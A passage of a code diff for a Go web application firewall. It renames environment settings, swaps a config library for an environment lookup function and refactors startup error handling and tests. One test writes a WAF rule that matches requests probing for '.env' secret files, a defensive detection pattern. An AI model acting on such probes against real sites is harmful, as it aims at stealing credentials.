const shutdownTimeout = 5 * time.Second
|
const shutdownTimeout = 5 * time.Second
|
||||||
|
|
||||||
// remoteLogStopTimeout is how long, as waf stops, the log lines still
|
// remoteLogStopTimeout is how long, as waf stops, the log lines still
|
||||||
// waiting are sent to SWW_WAF_LOG_REMOTE_URL before they are given up. stdout has
|
// waiting are sent to SWW_LOG_REMOTE_URL before they are given up. stdout has
|
||||||
// carried them.
|
// carried them.
|
||||||
const remoteLogStopTimeout = 2 * time.Second
|
const remoteLogStopTimeout = 2 * time.Second
|
||||||
|
|
||||||
@@ -61,9 +59,8 @@ commands:
|
|||||||
type Params struct {
|
type Params struct {
|
||||||
// Version is the version of the binary, set when it is built.
|
// Version is the version of the binary, set when it is built.
|
||||||
Version string
|
Version string
|
||||||
// Viper reads the settings, normally the viper config.NewViper returns
|
// LookupEnv reads an environment variable, normally os.LookupEnv.
|
||||||
// for the process's environment.
|
LookupEnv func(string) (string, bool)
|
||||||
Viper *viper.Viper
|
|
||||||
// Stdout receives the request log and the process's own messages.
|
// Stdout receives the request log and the process's own messages.
|
||||||
Stdout io.Writer
|
Stdout io.Writer
|
||||||
}
|
}
|
||||||
@@ -82,7 +79,11 @@ func Main(version string) int {
|
|||||||
syscall.SIGTERM, os.Interrupt)
|
syscall.SIGTERM, os.Interrupt)
|
||||||
defer stop()
|
defer stop()
|
||||||
|
|
||||||
params := Params{Version: version, Viper: config.NewViper(), Stdout: os.Stdout}
|
params := Params{
|
||||||
|
Version: version,
|
||||||
|
LookupEnv: os.LookupEnv,
|
||||||
|
Stdout: os.Stdout,
|
||||||
|
}
|
||||||
|
|
||||||
switch args[0] {
|
switch args[0] {
|
||||||
case "rproxy":
|
case "rproxy":
|
||||||
@@ -90,7 +91,7 @@ func Main(version string) int {
|
|||||||
case "waf":
|
case "waf":
|
||||||
return RunWAF(ctx, params)
|
return RunWAF(ctx, params)
|
||||||
case "healthcheck":
|
case "healthcheck":
|
||||||
return HealthCheck(ctx, args[1:], params.Viper, os.Stderr)
|
return HealthCheck(ctx, args[1:], os.LookupEnv, os.Stderr)
|
||||||
default:
|
default:
|
||||||
return printUsage(os.Stderr)
|
return printUsage(os.Stderr)
|
||||||
}
|
}
|
||||||
@@ -108,18 +109,16 @@ func printUsage(w io.Writer) int {
|
|||||||
// ctx is done. It returns the process's exit status, 1 when waf cannot start.
|
// ctx is done. It returns the process's exit status, 1 when waf cannot start.
|
||||||
func RunWAF(ctx context.Context, params Params) int {
|
func RunWAF(ctx context.Context, params Params) int {
|
||||||
// Until the settings are read, the one message is an invalid setting's
|
// Until the settings are read, the one message is an invalid setting's
|
||||||
// error, which every SWW_WAF_LOG_LEVEL lets through.
|
// error, which every SWW_LOG_LEVEL lets through.
|
||||||
processLog := requestlog.NewProcessLogger(params.Stdout,
|
processLog := requestlog.NewProcessLogger(params.Stdout,
|
||||||
config.InstanceName(params.Viper), slog.LevelError)
|
config.InstanceName(params.LookupEnv), slog.LevelError)
|
||||||
|
|
||||||
cfg, err := config.FromEnvironment(params.Viper)
|
cfg, err := config.FromEnvironment(params.LookupEnv)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error("invalid setting", "error", err.Error())
|
return cannotStart(processLog, "invalid setting", err)
|
||||||
|
|
||||||
return 1
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// While SWW_WAF_LOG_REMOTE_URL is set, every line on stdout from here on
|
// While SWW_LOG_REMOTE_URL is set, every line on stdout from here on
|
||||||
// is sent there too.
|
// is sent there too.
|
||||||
stdout := params.Stdout
|
stdout := params.Stdout
|
||||||
|
|
||||||
@@ -130,13 +129,38 @@ func RunWAF(ctx context.Context, params Params) int {
|
|||||||
stdout = io.MultiWriter(params.Stdout, remote)
|
stdout = io.MultiWriter(params.Stdout, remote)
|
||||||
}
|
}
|
||||||
|
|
||||||
processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName, cfg.LogLevel)
|
processLog = requestlog.NewProcessLogger(
|
||||||
|
stdout,
|
||||||
|
cfg.InstanceName,
|
||||||
|
cfg.LogLevel,
|
||||||
|
)
|
||||||
|
|
||||||
if remote != nil {
|
if remote != nil {
|
||||||
stopSending := startSending(ctx, remote, processLog)
|
stopSending := startSending(ctx, remote, processLog)
|
||||||
defer stopSending()
|
defer stopSending()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
return runWAFWithSettings(
|
||||||
|
ctx,
|
||||||
|
params.Version,
|
||||||
|
cfg,
|
||||||
|
stdout,
|
||||||
|
remote,
|
||||||
|
processLog,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// runWAFWithSettings is the rest of RunWAF once the settings are read and
|
||||||
|
// the process log goes where they say. remote is nil unless
|
||||||
|
// SWW_LOG_REMOTE_URL is set.
|
||||||
|
func runWAFWithSettings(
|
||||||
|
ctx context.Context,
|
||||||
|
version string,
|
||||||
|
cfg *config.Config,
|
||||||
|
stdout io.Writer,
|
||||||
|
remote *remotelog.Sender,
|
||||||
|
processLog *slog.Logger,
|
||||||
|
) int {
|
||||||
// The state files and the alerts give times in UTC.
|
// The state files and the alerts give times in UTC.
|
||||||
now := func() time.Time { return time.Now().UTC() }
|
now := func() time.Time { return time.Now().UTC() }
|
||||||
|
|
||||||
@@ -149,23 +173,25 @@ func RunWAF(ctx context.Context, params Params) int {
|
|||||||
Alerts: alertQueue,
|
Alerts: alertQueue,
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error("cannot use the rule files", "error", err.Error())
|
return cannotStart(processLog, "cannot use the rule files", err)
|
||||||
|
|
||||||
return 1
|
|
||||||
}
|
}
|
||||||
|
|
||||||
crs, err := waf.NewCoreRuleSet(cfg)
|
crs, err := waf.NewCoreRuleSet(cfg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error("cannot use the Core Rule Set", "error", err.Error())
|
return cannotStart(processLog, "cannot use the Core Rule Set", err)
|
||||||
|
|
||||||
return 1
|
|
||||||
}
|
}
|
||||||
|
|
||||||
server, err := newServer(cfg, stdout, processLog, now, ruleFiles, alertQueue, crs)
|
server, err := newServer(
|
||||||
|
cfg,
|
||||||
|
stdout,
|
||||||
|
processLog,
|
||||||
|
now,
|
||||||
|
ruleFiles,
|
||||||
|
alertQueue,
|
||||||
|
crs,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error("cannot use the lookup database", "error", err.Error())
|
return cannotStart(processLog, "cannot use the lookup database", err)
|
||||||
|
|
||||||
return 1
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if remote != nil {
|
if remote != nil {
|
||||||
@@ -174,28 +200,47 @@ func RunWAF(ctx context.Context, params Params) int {
|
|||||||
|
|
||||||
files, err := loadStateFiles(cfg, server, alertQueue, now, processLog)
|
files, err := loadStateFiles(cfg, server, alertQueue, now, processLog)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error("cannot use the state and cache files", "error", err.Error())
|
return cannotStart(
|
||||||
|
processLog,
|
||||||
return 1
|
"cannot use the state and cache files",
|
||||||
|
err,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
|
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error("cannot listen on SWW_WAF_LISTEN_ADDR", "error", err.Error())
|
return cannotStart(
|
||||||
|
processLog,
|
||||||
return 1
|
"cannot listen on SWW_LISTEN_ADDR",
|
||||||
|
err,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
processLog.Info("starting",
|
processLog.Info("starting",
|
||||||
"version", params.Version,
|
"version", version,
|
||||||
"address", listener.Addr().String(),
|
"address", listener.Addr().String(),
|
||||||
"settings", cfg)
|
"settings", cfg)
|
||||||
|
|
||||||
return serve(ctx, server, listener, files, ruleFiles, alertQueue, processLog)
|
return serve(
|
||||||
|
ctx,
|
||||||
|
server,
|
||||||
|
listener,
|
||||||
|
files,
|
||||||
|
ruleFiles,
|
||||||
|
alertQueue,
|
||||||
|
processLog,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// cannotStart logs why waf cannot start, and returns its exit status.
|
||||||
|
func cannotStart(processLog *slog.Logger, message string, err error) int {
|
||||||
|
processLog.Error(message, "error", err.Error())
|
||||||
|
|
||||||
|
return 1
|
||||||
}
|
}
|
||||||
|
|
||||||
// newServer returns the server waf runs, with the metrics of the alerts,
|
// newServer returns the server waf runs, with the metrics of the alerts,
|
||||||
// after reading the lookup database while SWW_WAF_LOOKUP_SOURCE is file. A lookup
|
// after reading the lookup database while SWW_LOOKUP_SOURCE is file. A lookup
|
||||||
// database that cannot be read is an error.
|
// database that cannot be read is an error.
|
||||||
func newServer(
|
func newServer(
|
||||||
cfg *config.Config, stdout io.Writer, processLog *slog.Logger,
|
cfg *config.Config, stdout io.Writer, processLog *slog.Logger,
|
||||||
@@ -233,7 +278,10 @@ func newServer(
|
|||||||
server.Metrics.AddAlerts(alertQueue)
|
server.Metrics.AddAlerts(alertQueue)
|
||||||
|
|
||||||
if lookupFile != nil {
|
if lookupFile != nil {
|
||||||
server.Metrics.AddLookupFile(lookupFile.LastRead, lookupFile.ReadFailures)
|
server.Metrics.AddLookupFile(
|
||||||
|
lookupFile.LastRead,
|
||||||
|
lookupFile.ReadFailures,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
return server, nil
|
return server, nil
|
||||||
@@ -286,7 +334,7 @@ func newAlertQueue(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newRemoteLogSender returns a sender of the log lines to
|
// newRemoteLogSender returns a sender of the log lines to
|
||||||
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
|
// SWW_LOG_REMOTE_URL, with the settings for it.
|
||||||
func newRemoteLogSender(cfg *config.Config) *remotelog.Sender {
|
func newRemoteLogSender(cfg *config.Config) *remotelog.Sender {
|
||||||
return remotelog.New(remotelog.Params{
|
return remotelog.New(remotelog.Params{
|
||||||
URL: cfg.LogRemoteURL,
|
URL: cfg.LogRemoteURL,
|
||||||
@@ -398,7 +446,11 @@ func serve(
|
|||||||
|
|
||||||
err = files.WriteAll()
|
err = files.WriteAll()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
processLog.Error("writing the state and cache files failed", "error", err.Error())
|
processLog.Error(
|
||||||
|
"writing the state and cache files failed",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
|
|
||||||
return 1
|
return 1
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,7 +22,10 @@ func TestStopWaitsForTheSenderToFinish(t *testing.T) {
|
|||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
took := stopHeldSender(t, time.Second)
|
took := stopHeldSender(t, time.Second)
|
||||||
if took != time.Second {
|
if took != time.Second {
|
||||||
t.Errorf("the stop took %s, want the second the sender took", took)
|
t.Errorf(
|
||||||
|
"the stop took %s, want the second the sender took",
|
||||||
|
took,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -59,7 +62,10 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
|
|||||||
sender := remotelog.New(remotelog.Params{
|
sender := remotelog.New(remotelog.Params{
|
||||||
// No port is 65536, so each attempt to connect fails at once,
|
// No port is 65536, so each attempt to connect fails at once,
|
||||||
// before it reaches the network.
|
// before it reaches the network.
|
||||||
URL: &url.URL{Scheme: remotelog.SchemeTCP, Host: "127.0.0.1:65536"},
|
URL: &url.URL{
|
||||||
|
Scheme: remotelog.SchemeTCP,
|
||||||
|
Host: "127.0.0.1:65536",
|
||||||
|
},
|
||||||
Buffer: 1,
|
Buffer: 1,
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|||||||
+317
-186
@@ -20,7 +20,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/sww"
|
"sneak.berlin/go/smallwebwaf/internal/sww"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
@@ -35,22 +34,22 @@ const (
|
|||||||
testVersion = "test"
|
testVersion = "test"
|
||||||
// localhost is where the tests listen.
|
// localhost is where the tests listen.
|
||||||
localhost = "127.0.0.1"
|
localhost = "127.0.0.1"
|
||||||
listenAddr = "SWW_WAF_LISTEN_ADDR"
|
listenAddr = "SWW_LISTEN_ADDR"
|
||||||
stateDir = "SWW_WAF_STATE_DIR"
|
stateDir = "SWW_STATE_DIR"
|
||||||
stateWriteDelay = "SWW_WAF_STATE_WRITE_DELAY"
|
stateWriteDelay = "SWW_STATE_WRITE_DELAY"
|
||||||
stateCounterInterval = "SWW_WAF_STATE_COUNTER_INTERVAL"
|
stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL"
|
||||||
cacheDir = "SWW_WAF_CACHE_DIR"
|
cacheDir = "SWW_CACHE_DIR"
|
||||||
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
|
||||||
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
|
||||||
rulesDir = "SWW_WAF_RULES_DIR"
|
rulesDir = "SWW_RULES_DIR"
|
||||||
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
lookupSource = "SWW_LOOKUP_SOURCE"
|
||||||
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
lookupDBPath = "SWW_LOOKUP_DB_PATH"
|
||||||
instanceName = "SWW_WAF_INSTANCE_NAME"
|
instanceName = "SWW_INSTANCE_NAME"
|
||||||
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||||
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
|
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||||
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set.
|
// adminSecret is the SWW_ADMIN_TOKEN the tests set.
|
||||||
adminSecret = "fedcba9876543210fedcba9876543210"
|
adminSecret = "fedcba9876543210fedcba9876543210"
|
||||||
// instance is the SWW_WAF_INSTANCE_NAME the tests set where they look at
|
// instance is the SWW_INSTANCE_NAME the tests set where they look at
|
||||||
// it.
|
// it.
|
||||||
instance = "fsn1app1/blog"
|
instance = "fsn1app1/blog"
|
||||||
// greeting is what the tests' app answers.
|
// greeting is what the tests' app answers.
|
||||||
@@ -112,8 +111,12 @@ func (o *output) lineBeforeExit(
|
|||||||
|
|
||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
t.Fatalf("exit status %d while waiting for a line with msg %q; output:\n%s",
|
t.Fatalf(
|
||||||
status, msg, o.text())
|
"exit status %d while waiting for a line with msg %q; output:\n%s",
|
||||||
|
status,
|
||||||
|
msg,
|
||||||
|
o.text(),
|
||||||
|
)
|
||||||
case <-time.After(pollInterval):
|
case <-time.After(pollInterval):
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -151,24 +154,26 @@ func (o *output) text() string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// run runs `sww waf` with the settings in env until ctx is done,
|
// run runs `sww waf` with the settings in env until ctx is done,
|
||||||
// and returns its exit status. SWW_WAF_LOOKUP_SOURCE is off unless env sets it,
|
// and returns its exit status. SWW_LOOKUP_SOURCE is off unless env sets it,
|
||||||
// so that no test sends GeoJS its clients' addresses.
|
// so that no test sends GeoJS its clients' addresses.
|
||||||
func run(ctx context.Context, env map[string]string, out *output) int {
|
func run(ctx context.Context, env map[string]string, out *output) int {
|
||||||
v := configtest.Viper(env)
|
|
||||||
if _, set := env["SWW_WAF_LOOKUP_SOURCE"]; !set {
|
|
||||||
v.Set("SWW_WAF_LOOKUP_SOURCE", "off")
|
|
||||||
}
|
|
||||||
|
|
||||||
// The cache files go beside the state files unless the test says
|
|
||||||
// otherwise.
|
|
||||||
if _, set := env[cacheDir]; !set && env[stateDir] != "" {
|
|
||||||
v.Set(cacheDir, env[stateDir])
|
|
||||||
}
|
|
||||||
|
|
||||||
return sww.RunWAF(ctx, sww.Params{
|
return sww.RunWAF(ctx, sww.Params{
|
||||||
Version: testVersion,
|
Version: testVersion,
|
||||||
Viper: v,
|
LookupEnv: func(name string) (string, bool) {
|
||||||
Stdout: out,
|
value, ok := env[name]
|
||||||
|
if !ok && name == "SWW_LOOKUP_SOURCE" {
|
||||||
|
return "off", true
|
||||||
|
}
|
||||||
|
|
||||||
|
// The cache files go beside the state files unless the test
|
||||||
|
// says otherwise.
|
||||||
|
if !ok && name == cacheDir {
|
||||||
|
return env[stateDir], env[stateDir] != ""
|
||||||
|
}
|
||||||
|
|
||||||
|
return value, ok
|
||||||
|
},
|
||||||
|
Stdout: out,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -178,8 +183,8 @@ func TestInvalidSettingStopsTheStart(t *testing.T) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(t.Context(), map[string]string{
|
status := run(t.Context(), map[string]string{
|
||||||
"SWW_WAF_BYTES_LIMIT_PER_MINUTE": "lots",
|
"SWW_BYTES_LIMIT_PER_MINUTE": "lots",
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Errorf("exit status %d, want 1", status)
|
t.Errorf("exit status %d, want 1", status)
|
||||||
@@ -190,7 +195,7 @@ func TestInvalidSettingStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
if line["type"] != "process" || line["instance"] != instance ||
|
if line["type"] != "process" || line["instance"] != instance ||
|
||||||
line["level"] != "ERROR" ||
|
line["level"] != "ERROR" ||
|
||||||
!strings.HasPrefix(message, "SWW_WAF_BYTES_LIMIT_PER_MINUTE: ") {
|
!strings.HasPrefix(message, "SWW_BYTES_LIMIT_PER_MINUTE: ") {
|
||||||
t.Errorf("start refused with %v", line)
|
t.Errorf("start refused with %v", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -226,7 +231,11 @@ func TestShortTokenStopsTheStartUnshown(t *testing.T) {
|
|||||||
func TestAddressInUseStopsTheStart(t *testing.T) {
|
func TestAddressInUseStopsTheStart(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
taken, err := (&net.ListenConfig{}).Listen(
|
||||||
|
t.Context(),
|
||||||
|
"tcp",
|
||||||
|
localhost+":0",
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -246,7 +255,7 @@ func TestAddressInUseStopsTheStart(t *testing.T) {
|
|||||||
t.Errorf("exit status %d, want 1", status)
|
t.Errorf("exit status %d, want 1", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
out.line(t, "msg", "cannot listen on SWW_WAF_LISTEN_ADDR")
|
out.line(t, "msg", "cannot listen on SWW_LISTEN_ADDR")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestServesUntilToldToStop(t *testing.T) {
|
func TestServesUntilToldToStop(t *testing.T) {
|
||||||
@@ -310,11 +319,11 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
|
|||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
exited <- run(ctx, map[string]string{
|
exited <- run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
|
"SWW_BLOCKLIST_URLS": lists.URL + "/tor.txt",
|
||||||
"SWW_WAF_LOG_LEVEL": "warn",
|
"SWW_LOG_LEVEL": "warn",
|
||||||
}, out)
|
}, out)
|
||||||
}()
|
}()
|
||||||
|
|
||||||
@@ -324,7 +333,11 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
|
|||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
|
t.Fatalf(
|
||||||
|
"exit status %d, want 0; output:\n%s",
|
||||||
|
status,
|
||||||
|
out.text(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Fatal("still running after being told to stop")
|
t.Fatal("still running after being told to stop")
|
||||||
@@ -417,7 +430,7 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
|
|||||||
func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) {
|
func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const scope = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
|
const scope = "SWW_BAN_SCOPE_V4_PREFIX"
|
||||||
|
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
@@ -478,7 +491,14 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
|
|||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
path := filepath.Join(dir, "bans.json")
|
path := filepath.Join(dir, "bans.json")
|
||||||
|
|
||||||
saveUntilAnswered(t, path, oneBan, url, "203.0.113.9", http.StatusForbidden)
|
saveUntilAnswered(
|
||||||
|
t,
|
||||||
|
path,
|
||||||
|
oneBan,
|
||||||
|
url,
|
||||||
|
"203.0.113.9",
|
||||||
|
http.StatusForbidden,
|
||||||
|
)
|
||||||
wantStatus(t, url, "198.51.100.7", http.StatusOK)
|
wantStatus(t, url, "198.51.100.7", http.StatusOK)
|
||||||
saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK)
|
saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK)
|
||||||
})
|
})
|
||||||
@@ -537,7 +557,7 @@ func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) {
|
|||||||
rulesDir: dir,
|
rulesDir: dir,
|
||||||
// The requests sent until the rule takes effect must not break a
|
// The requests sent until the rule takes effect must not break a
|
||||||
// rate limit, whose ban would refuse them too.
|
// rate limit, whose ban would refuse them too.
|
||||||
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "off",
|
"SWW_RATE_LIMIT_PER_MINUTE": "off",
|
||||||
}
|
}
|
||||||
|
|
||||||
out := runUntilStopped(t, env, func(url string) {
|
out := runUntilStopped(t, env, func(url string) {
|
||||||
@@ -567,12 +587,20 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
|
|||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
path := filepath.Join(dir, "00-default.rules")
|
path := filepath.Join(dir, "00-default.rules")
|
||||||
|
|
||||||
err := os.WriteFile(path, []byte("# probes\nenv-file path bann ^/\\.env$\n"), 0o600)
|
err := os.WriteFile(
|
||||||
|
path,
|
||||||
|
[]byte("# probes\nenv-file path bann ^/\\.env$\n"),
|
||||||
|
0o600,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("write the rule file: %v", err)
|
t.Fatalf("write the rule file: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantRulesRefused(t, dir, path+`, line 2: the action "bann" is not log, block or ban`)
|
wantRulesRefused(
|
||||||
|
t,
|
||||||
|
dir,
|
||||||
|
path+`, line 2: the action "bann" is not log, block or ban`,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||||
@@ -580,11 +608,13 @@ func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||||
|
|
||||||
wantRulesRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
|
wantRulesRefused(t, dir, "SWW_RULES_DIR cannot be read: open "+dir+
|
||||||
": no such file or directory")
|
": no such file or directory")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(t *testing.T) {
|
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
path := filepath.Join(t.TempDir(), "crs-exclusions.conf")
|
path := filepath.Join(t.TempDir(), "crs-exclusions.conf")
|
||||||
@@ -592,14 +622,14 @@ func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
status := run(t.Context(), map[string]string{
|
status := run(t.Context(), map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Fatalf("exit status %d, want 1", status)
|
t.Fatalf("exit status %d, want 1", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
line := out.line(t, "msg", "cannot use the Core Rule Set")
|
line := out.line(t, "msg", "cannot use the Core Rule Set")
|
||||||
want := "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE: read the exclusions file: open " +
|
want := "SWW_CORE_RULE_SET_EXCLUSIONS_FILE: read the exclusions file: open " +
|
||||||
path + ": no such file or directory"
|
path + ": no such file or directory"
|
||||||
|
|
||||||
if line["error"] != want {
|
if line["error"] != want {
|
||||||
@@ -624,8 +654,7 @@ func TestCoreRuleSetExclusionsFileThatCannotBeUsedStopsTheStartWhileTheCoreRuleS
|
|||||||
|
|
||||||
status := run(t.Context(), map[string]string{
|
status := run(t.Context(), map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_CORE_RULE_SET_MODE": config.WAFModeOff,
|
"SWW_WAF_MODE": config.WAFModeOff, "SWW_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
||||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
|
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Fatalf("%s: exit status %d, want 1", path, status)
|
t.Fatalf("%s: exit status %d, want 1", path, status)
|
||||||
@@ -644,14 +673,14 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
|
|||||||
writeLookupDatabase(t, path, "DE")
|
writeLookupDatabase(t, path, "DE")
|
||||||
|
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
lookupSource: "file",
|
lookupSource: "file",
|
||||||
lookupDBPath: path,
|
lookupDBPath: path,
|
||||||
"SWW_WAF_TAG_DENY": "country=KP",
|
"SWW_TAG_DENY": "country=KP",
|
||||||
// The requests sent until a replacement takes effect, and those
|
// The requests sent until a replacement takes effect, and those
|
||||||
// for the metrics, must not break a rate limit, whose ban would
|
// for the metrics, must not break a rate limit, whose ban would
|
||||||
// refuse them too.
|
// refuse them too.
|
||||||
@@ -686,23 +715,38 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// One that cannot be read leaves the file read before in use.
|
// One that cannot be read leaves the file read before in use.
|
||||||
err := os.WriteFile(replacement, []byte("not a lookup database\n"), 0o600)
|
err := os.WriteFile(
|
||||||
|
replacement,
|
||||||
|
[]byte("not a lookup database\n"),
|
||||||
|
0o600,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("write %s: %v", replacement, err)
|
t.Fatalf("write %s: %v", replacement, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
rename(t, replacement, path)
|
